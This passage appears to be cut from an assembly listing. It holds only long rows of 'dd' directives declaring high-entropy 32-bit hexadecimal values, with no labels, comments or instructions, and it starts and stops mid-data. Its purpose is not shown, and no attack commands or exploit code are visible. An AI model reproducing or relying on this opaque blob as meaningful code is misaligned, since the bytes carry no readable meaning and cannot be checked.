86F10EBh, 82A4EE49h, 897D32B8h dd 0EBB6513Dh, 2CBDE8FDh, 0D12AC79Ch, 0FC1872EDh, 0F4C551C9h dd 2B68F962h, 745A9D78h, 2F0BC9FFh, 4372097Eh, 0D83B8093h dd 89D6BD03h, 484F2758h, 0CE041B32h, 941E8F0Fh, 481FFD91h dd 512009B9h, 0E6E58202h, 5E6242FAh, 0AFEE97FCh, 0E6BC9357h dd 508F6010h, 5241159Bh, 9EF3B92Fh, 2FD28020h, 6C103023h dd 0B60C85Ah, 0F381621Dh, 5545554Bh, 0FB4BFD05h, 3F2CF101h dd 0F96A0F7Eh, 765F2D28h, 0EB13121Bh, 31BDE574h, 5EAB2F7Fh dd 0EB09E83Ah, 80B1D855h, 0E540C2B5h, 0A0E29671h, 5253ACC0h dd 80B43FB2h, 7F8D2AFh, 0E65978B5h, 0B3F3E7EFh, 22060021h dd 34D9B050h, 784C045Dh, 220206Dh, 0FD2F681h, 7DE42EDh dd 0DF129820h, 0A3019AFCh, 0F893E9F5h, 0E1672AFh, 4C74720h dd 3E2694B8h, 690FC07Ah, 7C5FCE57h, 7CB6F9C4h, 0BDF6325Bh dd 14266DD6h, 7E555000h, 0B55DEE89h, 97204D50h, 0EA054AC6h dd 7F51B4C7h, 8135ED65h, 0C912AA2Bh, 0B9E4B0EFh, 2DE37AFFh dd 671B6809h, 79AD6647h, 0FBF56396h, 0CA01EA72h, 88BCEA80h dd 0D8C15AD0h, 0BD41F7FCh, 0D80FECAh, 0E333071Eh, 510521B2h dd 0BA7EE952h, 285BE620h, 41795C25h, 0EA3B7D34h, 0F9C6B180h dd 0E3A33FEAh, 5F56992Dh, 12E946Ah, 3BCE6614h, 5EF9D840h dd 0DEF3C40h, 4A7E50B9h, 0E811A401h, 78037218h, 2F5DA30Ch dd 934168A0h, 0AB0F2B8Eh, 1DB8125Eh, 0D3517327h, 0CE095B82h dd 108D793h, 1FB100AAh, 96E94860h, 0A8232EF3h, 0C629B768h dd 34B62028h, 5797F880h, 0F746EB0Ch, 9D7C76D2h, 8625F48h dd 61D6D9BFh, 8132B0E9h, 5DFCE2D5h, 0C83F2ED8h, 6859E944h dd 74BB0008h, 0C1695F49h, 43073FEBh, 4F542516h, 5198A8F2h dd 3BA1861Dh, 49B03F01h, 0E13020E8h, 0C870F1F6h, 8125D397h dd 9E941EEh, 124A3BC5h, 0FB2FC0B9h, 23C2E94Ch, 0E9E2F576h dd 985BF087h, 0EE623B38h, 68EFE4Eh, 85F9022Fh, 0DE137262h dd 36EA0Fh, 5FB47E6Eh, 7469CAE9h, 0AF8777ADh, 32672F56h dd 0FD79BCE0h, 0F341B85Ah, 74213FDFh, 0A86E0E21h, 5F1E4E2Dh dd 0B18C3113h, 0BA05FDABh, 0D830BC7h, 0C58B0212h, 2F181DB7h dd 2C60C162h, 46906839h, 0A738C939h, 81DAD246h, 903FE908h dd 1854BEB7h, 0A120CD2Fh, 339A6CEEh, 0D048177Fh, 7D56CAE1h dd 0E8BFD17Bh, 276B6A2Dh, 4CE00359h, 0A5A2DFC0h, 0DBA9B182h dd 0F207900Ah, 3152449Ah, 0F41A40D5h, 0F153C0EEh, 5BB78587h dd 68E42FFDh, 0A0DD9004h, 2048BC58h, 420114A7h, 9405EA81h dd 47E884Dh, 16FB1E0Bh, 0D1499D09h, 0FA7C899Eh, 5C9F63A1h dd 0C1878526h, 8CB05B6Eh, 84F3249Ah, 3C6B0B84h, 123C82D1h dd 8CAA19BCh, 9584C425h, 0E13546D0h, 0C9BE330Fh, 0F3A02ED0h dd 99CE160Ch, 0F90C1630h, 0FC044FA2h, 5C09CB51h, 8DE2998Bh dd 5E5D8CC0h, 34E62390h, 5F4F9A27h, 0B1BA2B04h, 9BB92A54h dd 178FB2D6h, 0ADCC567Fh, 0D22D4E8Ch, 904410Eh, 644BE0BEh dd 0E71F4912h, 41D7480Eh dd 6580E9FBh, 0EBB62682h, 39C1B753h, 69FEE5A7h, 22512F97h dd 51A189E7h, 5A54C25Ch, 7B4B935Bh, 41A16257h, 756C0054h dd 0C8B73F0Fh, 990ED394h, 2DA2F84h, 0FFCE685Ah, 0E80FDB4Ch dd 0A5357431h, 49D84412h, 950F0E6h, 7E94734h, 4948DE70h dd 0DD3C0FF1h, 0F7D2D2CBh, 974758F1h, 0B332FCCDh, 0AD03C93Dh dd 8BD2E96Ah, 0F8908057h, 0B5536346h, 0E7A4E2FCh, 5F2D0210h dd 496C6990h, 534C98B7h, 20B5A454h, 5E4F601Bh, 4E7DAAE6h dd 0F5D89154h, 2F13FA3h, 6F71BE2Fh, 0E87C5C01h, 9D21FC4h dd 0F7E55729h, 0E9D03107h, 0C9FB2174h, 0AEAC3BC6h, 0E254Fh dd 61C8F7D5h, 0CB658973h, 0B2EA595Dh, 0F2E9C2D2h, 8A29F742h dd 1A020702h, 27A84777h, 5EE0C5F6h, 0BE162068h, 415760A2h dd 65B61B0Bh, 90529F96h, 0C6A073B8h, 8D30148Eh, 309A0C53h dd 15D1FF3h, 851B9EEh, 13140CA0h, 46AA9DE9h, 0C15B8623h dd 92BF5A75h, 89F160C3h, 40A6307Dh, 0A80CEC3Ch, 5EDC3C48h dd 680CF2A9h, 473F54CAh, 0B65200F5h, 4B46F03Fh, 660A222Ch dd 742F857Bh, 7B840A0h, 607A0A7Eh, 0D96E3F25h, 0F8153CFFh dd 4028D1FDh, 0DE1E27A9h, 53D24733h, 0DEB7C7D8h, 596054C4h dd 495744BEh, 9F4EB008h, 0D468D9C8h, 7DC03053h, 4697857Fh dd 0BB027B4Ah, 30774BD8h, 9DC9E95Bh, 0C0794A8Bh, 49F1DEA5h dd 0D43D4F87h, 2EA7E508h, 3A372DEAh, 0F5A95D21h, 41C86800h dd 0E867599Dh, 0DB44043Fh, 0DF0C09FEh, 0E98512EDh, 7340D057h dd 0E703B0BBh, 53520006h, 0A6484B68h, 0C13D5B4Ah, 809FD0E3h dd 0B42A2405h, 3C31DA89h, 0B700ED3Fh, 0F7278090h, 4B095D7Dh dd 47BC9484h, 5A00B6BBh, 16CEBE0Bh, 0C3188431h, 2FF053FFh dd 747C3C3Bh, 0E95F85F3h, 88AB5FF7h, 4696570Eh, 0EAF0376Fh dd 82FEE480h, 4B0BC509h, 0BFBC18FEh, 427E25CEh, 52F3D441h dd 243BACC1h, 5803BD56h, 0BB109731h, 0BC0B5F59h, 0C5E04AF6h dd 41624A76h, 0C69F1B2Ch, 5AF3A6Fh, 0FF26092Dh, 21ECE78Dh dd 8080EDE4h, 49AB2D59h, 9BEA58B4h, 6B4E3672h, 74147ECh dd 57305485h, 6E1FBA18h, 1AAC1E02h, 9545901h, 31EAA8BAh dd 6676AC0h, 2AD4748h, 6B3EC2EFh, 45BD416Ch, 6B52B501h dd 0C12CD9C2h, 0F8D7B1C6h, 0B6FEECDFh, 0E1688412h, 0F4F7D847h dd 8020D661h, 522EB9EBh, 3F2FFDA4h, 0E92AC1E5h, 5A05B5EEh dd 6588E8FDh, 61395A36h, 127CBEBFh, 0AC7F0234h, 9206B74Ch dd 8B3351DBh, 4B172411h, 0DCEA88F8h, 5D04B913h, 79824F21h dd 0E07509E8h, 3E70D7DBh, 0B8955423h, 0B4036F14h, 0B0E4808Eh dd 0E417EC9Bh, 1D08D6CCh, 2BD63082h, 7BE76E5Eh, 80517F5h dd 0C9103FEDh, 0FD881C06h, 5B59EA85h, 0BB8CC8EEh, 4C7A5058h dd 0BD527BFh, 739E5764h, 6A259CA4h, 228F462Ah, 0FCC5033Eh dd 0A10821B7h, 42816E4h, 0EE5E52AFh, 0A3AFD734h, 0DDE983BEh dd 0C6DB2F12h, 369A8E77h, 24C064BAh, 6B7FC203h, 35225A0Bh dd 9111477h, 9E004B84h, 1CA2656Fh, 6D0BF3ECh, 0D752A337h dd 0C6291982h, 89F6D957h, 0D1A527E9h, 795EBA2Dh, 8ECE7B8Ah dd 0B38C3ECAh, 0BFF56D97h, 5E6A5940h, 2D107F5Ch, 888B7937h dd 243C0652h, 7108E1E2h, 0ECAD17D0h, 7AAC04DDh, 64C029C7h dd 0C60C0BBh, 0B6E94593h, 0E35968CFh, 995C0B8h, 1E811E0Dh dd 6C0E96CDh, 5C50076h, 0E925C85Ch, 9FB87D32h, 0E8A541CBh dd 897D852Fh, 2077F942h, 73446456h, 508BF05h, 0D42EBCCDh dd 0E8555AB9h, 81A534BDh, 663BF4ACh, 6139681Dh, 0D6B1F331h dd 579EC82Bh, 0B42C1D62h, 0D103774Ch, 127E725Fh, 61D5142Dh dd 0ED5CD01Eh, 3A0A4132h, 860583B8h, 0AED25945h, 4EED50D0h dd 1CCE0A7Eh, 44DFD501h, 3BF38DB6h, 0F25E17ACh, 9EF2C48Bh dd 0CB99D016h, 5A0BD388h, 6304EBC0h, 0DF48DA66h, 253F3747h dd 0BE5F804Ah, 12717467h, 90F3014Eh, 26685F08h, 0BEE64F5Bh dd 0A174EE5Bh, 4E57E7AEh, 1BEC5384h, 49C0E9F0h, 648237B4h dd 0D5E490BDh, 8CA1B0Fh, 0EF7CA5B4h, 38CCD7FAh, 0A0F6534h dd 4075A3F2h, 15A65ED3h, 0D6E58D28h, 29AC215Bh, 7348E33Bh dd 0C90910D3h, 0FD2B8C9Fh, 0D3DE592Ch, 0FE0B6D49h, 15B08E33h dd 0A954C30Bh, 3C57564Bh, 87183AB4h, 15065CE7h, 6981DC95h dd 0F2C926C5h, 9EB64CBDh, 0C197C61Ch, 0D6F68EEEh, 0EF07D5C0h dd 0F381DFB3h, 0A8086B5Ah, 0F4280E5Fh, 9587A8E4h, 0F109AF96h dd 80207E35h, 1EAD5F48h, 89029DBEh, 70E9E499h, 445F5ED5h dd 6A87AAC0h, 590125F4h, 2CD48850h, 0E6B7A7CBh, 0C881F1D5h dd 5902117Bh, 824EDF7h, 333C62F7h, 99B78CF1h, 0BC7D40B8h dd 0CD36C107h, 0E4D7990Dh, 219432A6h, 585DBF4Ch, 5AFFF47Ch dd 538D02DDh, 0CBD0D6B3h, 0B37AFA30h, 13EF1705h, 0E629D9B7h dd 0A0814B55h, 843A6FE9h, 114CBE4h, 64BF6852h, 0F82A31F4h dd 6DF0A427h, 60C141ACh, 3408333Eh, 3C312A9Dh, 4F3EE680h dd 0A0E91D35h, 57FC09B7h, 0A8853AEEh, 4DB5E985h, 85ACD552h dd 20DD5F2Fh, 76CA33F0h, 2FF7B403h, 91609ED7h, 31680B25h dd 0A087457Fh, 6848A015h, 90D9973Bh, 702DE7A4h, 0BF131A53h dd 47400BE8h, 462C7D91h, 0C794D561h, 15D1308h, 0E1AC21AEh dd 9FAA0775h, 0DE27E448h, 7AE9D06Dh, 1198F75Bh, 0EDD3E459h dd 0FD52BB17h, 8411E73Bh, 0EF832A45h, 2E800CA0h, 2EEF9162h dd 0E0B0170Ch, 0F358090Bh, 0D9E73B54h, 30FFD301h, 799EE985h dd 57555EC0h, 275D2D68h, 5ED8769Ch, 0E11AFC01h, 7B9E92Bh dd 9E05D769h, 0B81EEF73h, 42048DD9h, 9F8ABD3Bh, 0BB376C4Ch dd 72719FEEh, 0A87ED6A7h, 0C705BF23h, 6C39BB5Dh, 0C5588202h dd 0E4688500h, 555BCC75h, 0E99AE972h, 130BF12h, 0BCF60E0h dd 40F46F9Dh, 0D67D0CF5h, 241024C4h, 0E9F70FB2h, 0BF831313h dd 0FED202E3h, 4F9F3CB4h, 0EB4AC4D1h, 0E85B0FE3h, 0F75AB8A2h dd 54DDFF04h, 0D14FC2Bh, 8A6C9BE9h, 0F13D816Eh, 0C3B000B1h dd 40A072Ch, 65E234C4h, 0D45F8333h, 41F88C62h, 5082DEA7h dd 40FC5BDDh, 875E54BAh, 86860F8h, 3623DE2h, 54D46F68h dd 3F9F9E2Bh, 27AD9060h, 0A7C61202h, 0DA1FCE7Bh, 2F8B4731h dd 0B194B154h, 4F5A3D64h, 7D50A353h, 5A440E25h, 0DAC90BA8h dd 0E289E2B5h, 16ABF05h, 33289460h, 0DDE6077h, 39F5F682h dd 119E3A6h, 493402F3h, 3FF23FD2h, 0D10A9F0Fh, 0F9A572h dd 6167E908h, 87B13AB7h, 4F430F7Fh, 727E75h, 812E1F1Ah dd 62789FE3h, 0E9955C50h, 82C4964Eh, 6A553DBBh, 54034871h dd 1FC36E38h, 34D6B33Fh, 0E90EF20Ch, 0CF02CE6Ah, 0DE050306h dd 68C2D018h, 34B6435Eh, 23606B62h, 0B1421E8h, 50FBD05Eh dd 531E0AD5h, 29D574FCh, 0E87770D0h, 0FD173AE1h, 893CCAAEh dd 44A1595Ch, 48B0BBC7h, 0DB0117E9h, 0B88C90FEh, 3F141997h dd 9D4805h, 2ECF0246h, 9D5BD829h, 0F1807364h, 0BB3D5815h dd 0C10DA773h, 79704647h, 991C076Bh, 0E4F10972h, 5F8AA03Ch dd 68515303h, 0AFD63493h, 5DE82FD2h, 300B53B0h, 0FF8CF283h dd 7CEB2E48h, 0D8DAC327h, 0F5859708h, 0BB6EC531h, 98068286h dd 0AF9A20E5h, 0F0815A4Fh, 6B308D5Bh, 0ADF89EB0h, 4DFA33ECh dd 98D3D75Eh, 0D97CC1CDh, 5755386Ah, 4141E6FEh, 34BEC72Eh dd 0BE73C4C6h, 9D0C5796h, 83E496FAh, 1DE86FFFh, 809294F5h dd 1467DE12h, 3A7D5258h, 7563F737h, 8873ED0Ch, 4BB76827h dd 10DCB33Fh, 0AC4BB8EEh dd 0D6E0109Bh, 0B6E18101h, 0DB338D09h, 26DBB8E0h, 0C8292019h dd 84E8F8ACh, 0A3EA95EBh, 0D7979BFAh, 0AAEB932Bh, 364FEA10h dd 0F144FA4Fh, 0DDAEC1E4h, 0A5E7CF88h, 0F77CD151h, 0C20BADD1h dd 0F1E760B8h, 28413421h, 0BCD302E0h, 8863AF99h, 2DF95BA8h dd 83AC014Eh, 76A0841h, 354E65E1h, 80BC11Ah, 93946F4Fh dd 0D13E49BDh, 80B8501Fh, 574FD11h, 0D4272A18h, 0F064E310h dd 7A1E3023h, 6C473F2Dh, 4A0DA8DEh, 0C53E64BFh, 0B099F86Eh dd 0BC72C068h, 4ED06080h, 9D907A95h, 0B222703h, 8253E91Fh dd 0A7D477FFh, 40E5BDEFh, 9FD62926h, 2DE0C960h, 0F759C101h dd 7D0E68DDh, 0E74E0433h, 3C2210F1h, 6B25E34h, 9803EA90h dd 356FED81h, 0A9742DAh, 0B3EB1FD9h, 12820451h, 0C320D02Bh dd 0D5E0E11h, 66C863F1h, 9C68975Ah, 2FE78D51h, 0CA8E00ABh dd 45DC106Ah, 0DE7D0E9Dh, 89D83F44h, 5D6E2EBh, 0AE4957C2h dd 1C04A9B8h, 0AA0F8C36h, 8065FB1h, 8414820Ch, 3CD9E6F1h dd 1E3D7DFCh, 923257Ah, 7B8553A1h, 7664FB73h, 3E1F51BCh dd 6347CB50h, 1676105Dh, 8FF89D9Fh, 0D419A870h, 400E454Ah dd 0B777D5D4h, 3398667Ah, 8BD7912h, 0E92866E8h, 0BA7E9508h dd 55F9F662h, 3E685A21h, 0C42E6861h, 0A794FA38h, 1E0736C0h dd 5F85981Ch, 5CEF013Bh, 3AC8BE0Fh, 564028EEh, 61AB2AFBh dd 2821E941h, 0DEA14ED6h, 949E61CEh, 0BBA3764h, 7C327522h dd 0F227A254h, 790B8337h, 0BC5CB7D8h, 0B133F727h, 13137E8h dd 0B80C1F60h, 97021D54h, 80D37EAh, 5614000Ch, 175A4CE9h dd 0FCBB3574h, 112AF1B7h, 0E0C6D196h, 0C4395894h, 4F36CE2Eh dd 6E867D1Ah, 0E9C2CABAh, 0E4FC4680h, 0DD55ED89h, 0ABD84D3Bh dd 4113A873h, 0F0EC101h, 43E5A551h, 0F0F15AC4h, 58B2CB6Ch dd 198B57C0h, 0DDEE22D6h, 82348E1Fh, 0C2E6D54h, 814BFB2Bh dd 5B3E7872h, 0C5B1D85Bh, 600BCA7Ch, 0DBE889D4h, 33E90948h dd 0EF41C4DEh, 6B6225B9h, 0C4B54F7Eh, 4F07AE26h, 79213375h dd 0DEA75158h, 130E0709h, 0C1F41657h, 0E64C683Ah, 809F355h dd 0E96249C5h, 0B98D5D99h, 392C6E6Ah, 0FB5D4E5Ah, 0B75375CCh dd 7E2AD3EFh, 80CC2991h, 0B21A4572h, 0D776F85Eh, 227DE68h dd 3F50F3BFh, 1E1AB19Bh, 97CBF3A9h, 0E6EDBEAAh, 0F8A9547Fh dd 838B55Fh, 0EB97A611h, 0EADFB93Ah, 5F121222h, 0E894D04Ch dd 0CB84D49h, 0A8D0DF60h, 0BD9B0A7Fh, 0E4EBADE9h, 3F50871Fh dd 6DC9DBAAh, 6128DF2Dh, 19E64F8Ah, 28EC9EDEh, 805EF078h dd 49E26813h, 8E68F063h, 0D4B6A8A4h, 0B4BCE4E5h, 287B89B1h dd 0CB6CC4A1h, 0D79C0EB8h, 171724EEh, 0AFF51295h, 692A80DDh dd 0BD9E81AAh, 0C921B599h, 0A82F6821h, 64E90A8Fh, 0B2482869h dd 8D5E6F27h, 0A7B101E0h, 0F37CFC34h, 943EE5A9h, 39B53063h dd 0D69F78CAh, 0E4F75A4Dh, 0CF813B4Ch, 473D3138h, 9DD17B93h dd 640D262h, 0F582B508h, 929FD663h, 6ED088E8h, 0F6B1942Dh dd 0EB7F53B0h, 0CE03C83Fh, 0B8B79CBEh, 91BEFCBAh, 12FD46F3h dd 0D38FE981h, 0C28E2EFEh, 19D75E25h, 3A5083h, 0B1AB8B4h dd 2BF41BC4h, 5E311040h, 40E1E3F7h, 0F9401189h, 2C5B0266h dd 0B5C7808Dh, 0AE2A4B77h, 0E95816E7h, 0C481C596h, 0C1408091h dd 734FD64Ah, 4086350h, 0FEDDE7E9h, 1A56DACh, 97E3F65h dd 8EA46B2Ch, 0EBCE1781h, 0C1A90952h, 0D417520Dh, 3F13280Ch dd 88BF01F8h, 0CAB05571h, 0B3895B4Eh, 91B5F6Ah, 4EDDA6C3h dd 1DA149ACh, 1DD932Eh, 75732825h, 399AF57Fh, 5ADB4C48h dd 0F8804CF3h, 0BD136D6Ch, 11609700h, 5BDD3146h, 56509D29h dd 0B75E0540h, 0EE7374CEh, 0A1653CF5h, 570014F5h, 480FE068h dd 895F10C3h, 0E2E75797h, 610F3224h, 766AEB1Fh, 0FD88C23Ah dd 40D92802h, 0BD5B485Dh, 885D49ECh, 135E3B21h, 67AF8A77h dd 935A30Eh, 0B2166576h, 6904402Ch, 0FE017633h, 0F8D7F6CFh dd 12D264DDh, 81DF34FAh, 88D95h, 0B8EB295Fh, 4B740B53h dd 36E209E8h, 6649616Ch, 0C92010DEh, 0B473A05Bh, 0A33FA941h dd 0F0C2092h, 670D50BCh, 0D1D5B4B7h, 3DF44150h, 0A5BCF54Bh dd 2E410C4h, 0FD54CE68h, 0B7F29766h, 0BE01AABBh, 20DE170Eh dd 7C20AE3Ah, 3B7877CEh, 0F60E03A5h, 0DFC3F8F5h, 0FAFC5856h dd 8E5822B6h, 87C4EA5Ch, 6A84241Ch, 0E87FACB1h, 63BFC0FAh dd 2F657858h, 0B67D5452h, 75DC9DCDh, 4F1AE950h, 12171C1h dd 0C4226BDFh, 27D7D08Eh, 125F0C33h, 2588581Eh, 0CD461CBFh dd 5CB1B404h, 85B9F930h, 16CC2B84h, 0A7C33103h, 0F5DA875h dd 0C658B5B7h, 88452221h, 82238F51h, 0CC83088h, 0DE54E7C0h dd 35B99C4Eh, 0B54AE8A4h, 2FA3A605h, 9080DC37h, 309920h dd 57464E5Eh, 0FED682E9h, 9572EC9Dh, 5CB7EF1Eh, 0B0227A50h dd 0F977230Eh, 25691DC9h, 0B438AAE6h, 70FB5B0Fh, 2C583D8h dd 0E9639895h, 4D0D67D1h, 0BC8175D3h, 0FBDC4B0Eh, 0B86812F0h dd 27BFBD76h, 2F992EFh, 185A09B5h, 0D7837230h, 5C2579D2h dd 0C09E637Ch, 0BB81C00h, 5772F11h, 4A37EA76h, 925DE0C2h dd 88130097h, 16805AD5h, 0B066D1F5h, 0B7389B75h, 0ADD73EDFh dd 623F820h, 0E5C0C5FEh, 324C2C04h, 0D6CC2574h, 0D4BA6527h dd 8FF2BE20h, 2DF1FC92h, 2031F5BDh, 1BF26E20h, 0BFFD535Ah dd 0B5C1FF24h, 7907F4F2h, 0B28FF07h, 7CB56C7Dh, 0D0445EE9h dd 6D42F103h, 0C717707Bh, 7E22FECDh, 9A7C5D87h, 5375E759h dd 0A153BD2Ah, 0AF04DE21h, 3A41D629h, 242FCCC4h, 0C9458342h dd 9E68B8C4h, 8D9F297Ah, 0BF123CC4h, 4E1B5D02h, 0CBB240DBh dd 0C13539EEh, 300BB848h, 0D0DC4650h, 4E23F302h, 78E2DD26h dd 0FEF534C0h, 6E9E549Dh, 82EB4AB1h, 4EDF5A41h, 0E911C2EEh dd 0BBFDD812h, 0B6C2D92Ch, 0AE3B2B25h, 0E9526970h, 0FC695EECh dd 5059C972h, 0F00558FBh, 0AB5EE217h, 97547BC8h, 0A9BFC005h dd 0B00F5E90h, 0DF70CB5Ah, 683CAD96h, 82374F60h, 4B158840h dd 2AF85831h, 6D66F04Ah, 0B0F7EF40h, 0A90E4946h, 5CD25938h dd 70ED8100h, 172AA61h, 6D1CF560h, 0B847AF43h, 0E5E9252Ah dd 4E87F929h, 0D0069451h, 6D97684Eh, 5B27831Dh, 0D446D389h dd 23A26F07h, 0D8DF74EAh, 0BF5734A6h, 83C1BB75h, 0E260FA87h dd 25229642h, 175479FCh, 0EB5515Ch, 0E943CDB3h, 8916CB5Dh dd 28AE052Eh, 0CE25833Eh, 0B340C4FEh, 0E8978F04h, 855197F2h dd 0EA4BD42Ah, 58666CC8h, 9E44CC5h, 6575294Eh, 2169A899h dd 25BCE8A6h, 77E862D5h, 3A359748h, 0C8A72181h, 0F874C655h dd 0FDD9C503h, 40418D2Ah, 0B71B3383h, 0D1EE0D4Bh, 0B861E9D4h dd 3DDED15Ah, 34F04B48h, 0ECF65FA8h, 0C62882DAh, 0C16EC258h dd 0B800D2E3h, 463D1D43h, 48342539h, 2EBBC233h, 3B49641Ch dd 86784D7Dh, 2367B902h, 70F130FAh, 0DEEEE942h, 0C9923ACFh dd 81F933C4h, 12A954EBh, 60C8267h, 0B2B20h, 3BC449D4h dd 0C6FC7B90h, 0C4508A3h, 2089F214h, 7F5AB056h, 17E2F551h dd 645DF6D4h, 0B6CBE0F5h, 0F726EDB0h, 0C502ED66h, 57FD288Ah dd 12092E09h, 3AC20842h, 9D281CFFh, 4EC85302h, 5B59F07Eh dd 0A027B96Fh, 0EF96DBE9h, 978F1E2h, 0FAD4AFE6h, 0E2BB5DE5h dd 138AB1EAh, 205B3A92h, 7B7F93EEh, 5CC635Ch, 133162FCh dd 73FEB603h, 0AAE9B12Bh, 0A82F4A35h, 0C3EAB1C5h, 1C561EADh dd 4835F262h, 9C74624Ah, 4BDA696Eh, 2994E919h, 40E18F24h dd 49A5C6E1h, 2F2D16F5h dd 0C34C436Fh, 55D50127h, 62E9F590h, 0D74E2FEDh, 105E2429h dd 0BAD20FBh, 26608838h, 0A708A1Eh, 0E2E93F01h, 18798CCFh dd 0FBED1B4Eh, 18F32DC4h, 3DF7ED94h, 292D7A03h, 19B8BA82h dd 680F28F9h, 1E61F7B2h, 0EE04483Bh, 0E3124EB8h, 56349CF1h dd 0DE766854h, 71CC9F5Bh, 63A5690Bh, 25C9E6FDh, 2E092B88h dd 69A671DDh, 33447351h, 0F848E902h, 0DDD12869h, 69097AEFh dd 6056F866h, 0C9F2A193h, 712D010Ch, 287D229h, 1C3D9839h dd 4455E889h, 0DAE4958Eh, 68B60195h, 0CF894F83h, 0BB5EDE10h dd 70F23062h, 0FF56BFA0h, 0A0B57025h, 64EA246h, 85E91048h dd 0FEB43691h, 626DEB02h, 73C08032h, 2F0E4D0Fh, 0F4AA22E9h dd 0BB5CB403h, 0E0178513h, 0B53832Ch, 0DAB639B3h, 0F7234C06h dd 990F35B1h, 0A6BA33E0h, 307809Dh, 1E0536DAh, 2D486368h dd 85B99BDEh, 0E17242CCh, 68A78CBBh, 284D3D24h, 4F207D6Bh dd 7BBB4961h, 0F7A3E598h, 444B6EB0h, 7AE9F85Ah, 2D78BA25h dd 469B1F90h, 4CF1BE80h, 581224Fh, 2F0A1BE6h, 0D8DC0B15h dd 6DA63960h, 0FE1CDB2Dh, 9281DB4h, 49FF0F42h, 0A1BE5892h dd 0ACEE6816h, 2AEF5BC2h, 952C1CAEh, 5AFAC81Fh, 0E3B72CFFh dd 86E6E54Ah, 6D21EA4Ah, 53078114h, 0AC4AC1D0h, 60729FAEh dd 1B2FB964h, 495938F4h, 0ABE1D192h, 0AC8B613h, 7328092Dh dd 71F67A3Bh, 5B130720h, 8A83C331h, 0E9754B96h, 4D6E167Fh dd 17E463FBh, 0EB817DA8h, 7E107A0Eh, 0BACBC050h, 0F860E21Fh dd 0E4FE76F3h, 20D3A46Ch, 0FAF0899Dh, 0DAB632E8h, 4D1C6861h dd 0EA037276h, 814EFC76h, 0D060F2A8h, 6316175Eh, 0F94E1BBDh dd 6A1B8BC9h, 7F3542C5h, 3F9AAA0Bh, 574C1266h, 9EF25BD8h dd 0E9F2F1DFh, 4A8A3C3Fh, 0C7A203A8h, 2422F077h, 0CA3DF01h dd 0D0D754D1h, 0BB4B19EEh, 3A86F990h, 2950CADFh, 89579DC0h dd 2874E0FCh, 796A80E9h, 97514F34h, 8824EFAh, 0FA6E3341h dd 0C55AB64Ch, 592FBEE9h, 0E494056h, 662F3004h, 5B3AC17Ch dd 0B62FA1F9h, 2EEBF469h, 0C0EE16BAh, 0FB309317h, 1CA54B4Bh dd 10C0806h, 153D546Ah, 7EC5E959h, 76F7BC90h, 3ED82511h dd 0D2DD8004h, 617855C1h, 98890E90h, 0A2FB425Fh, 0C405905Ah dd 41677A76h, 38F501BBh, 2B215064h, 0D405D900h, 744F7825h dd 23453A2Dh, 89F2AB51h, 4C3FE07h, 316CC75h, 4BB45030h dd 5706BB3Ah, 4074D029h, 8726BB6Ch, 0F82FABF7h, 0BDE0B8A0h dd 513F8260h, 6F5F74BDh, 0ABD58B45h, 0D9DC54Dh, 7310B07Bh dd 81B01072h, 94B40C4Eh, 0BAA9F037h, 0C9BE03CCh, 464E2B03h dd 583F88Dh, 1E8D7721h, 0B1EFA283h, 0F3A5EAFh, 7F0EDCDh dd 71B65266h, 262D2793h, 3E25D12h, 584A14CDh, 6A7768F8h dd 61775697h, 0CA8F0D56h, 2A6CD0FFh, 38CDDC97h, 9BA414E5h dd 0D5C500C6h, 977B720h, 7A59D9B7h, 3500F372h, 7BB73BF9h dd 0A8BF61E9h, 28673094h, 0CC31215h, 23C5081h, 39146F3Eh dd 2DBE4580h, 58BB585Ah, 0B5053F4Dh, 88D4A911h, 2B09C280h dd 5A4AAD65h, 0FB088293h, 12DB2CDFh, 7933E313h, 0E5B5C7EEh dd 0B933A5C9h, 4D5BBE5h, 97EFD3C1h, 7E01BA01h, 125F90A3h dd 14C20910h, 0F0B544CEh, 2C151AD6h, 897D9937h, 4745D133h dd 53CBD5D8h, 0ABCC56DDh, 4FFEF5CCh, 3B809DA1h, 0BEE47F21h dd 0E5781E7Fh, 0F704FD78h, 4963BB5Dh, 8C86FDBAh, 7450E841h dd 0EA9E4EB7h, 73CA35C2h, 20A81DA0h, 5C8BF04h, 0E5FA7F39h dd 0EFF742B0h, 0DB5D0C87h, 9031EC7Fh, 61E01607h, 0CB31292h dd 68F5476Dh, 0D39F2876h, 12CB3C6Ah, 0DBA3BE44h, 0C75FE982h dd 5BA094FDh, 0D45264EBh, 0C78D815Bh, 3C8C79D4h, 866C27D3h dd 163150BFh, 340CE868h, 0A6379543h, 0E6101618h, 2CA088A4h dd 0FF71165h, 17708D92h, 526032BEh, 7DAA34C6h, 31F12525h dd 0D459BE18h, 283C462Ch, 0AB1680A4h, 0C4C766A8h, 53298FDAh dd 0FE97ACCFh, 0E901F401h, 8957BA67h, 970B8260h, 6B0BBD31h dd 0F509A077h, 0B5CFDB96h, 0AA51D985h, 0A15909C8h, 43B22592h dd 0D25F5A97h, 1A58B7FEh, 5CAF20h, 5E0D148h, 0CC562186h dd 27D1D095h, 0FE5AFBC9h, 2FB7DC5Ch, 2D62E141h, 0E908B46Ah dd 17901859h, 7867F868h, 5D35CF82h, 321684E6h, 9CB8FEFCh dd 12EEF284h, 0AF81101h, 0B353EEFh, 0D60B98F8h, 5091B81Ch dd 731F3067h, 628D6958h, 0F693D732h, 5BD10B5Fh, 1163CEFCh dd 0F6A76E3h, 70B551E7h, 0D8F44449h, 6EBDEA93h, 9E515E2Fh dd 204358AFh, 0C10FAC6Fh, 255603EDh, 93507724h, 2FB0485h dd 0B0EC3DC5h, 16D51D50h, 320B639h, 0CC0D0E76h, 0D4F9E9F8h dd 50CC9897h, 98799754h, 77AABE60h, 0E9225075h, 30151734h dd 0F4D9016Bh, 6E103E74h, 0F84A6BB3h, 26E93D75h, 13BFB4AAh dd 0D5A58C5Dh, 8A7C6221h, 0F15E5925h, 0DA2738C0h, 70088172h dd 0C940ED46h, 0A46409B8h, 4BABD559h, 53D68FDh, 0B277D7Dh dd 902D5B6Ah, 0BF729C84h, 5AB5E85h, 0E9FEBD97h, 99688227h dd 27044C25h, 0C2474876h, 6DE95E81h, 0E66BFEE0h, 0E261133h dd 0EEA2F504h, 0F88A94BCh, 0A7144888h, 5A6C02C2h, 295E2EE4h dd 7B06818Bh, 2B5A3CFDh, 0C42EACA5h, 8D64CFh, 2F59FAE1h dd 0E74BC10Ah, 0C70039ADh, 1B68300Ch, 0F05957E9h, 4D2D78C1h dd 0DCC5926h, 3B799B16h, 96AE7E84h, 0DA950CF5h, 685B4801h dd 884A1420h, 6AFDD2EFh, 0D5C96AF5h, 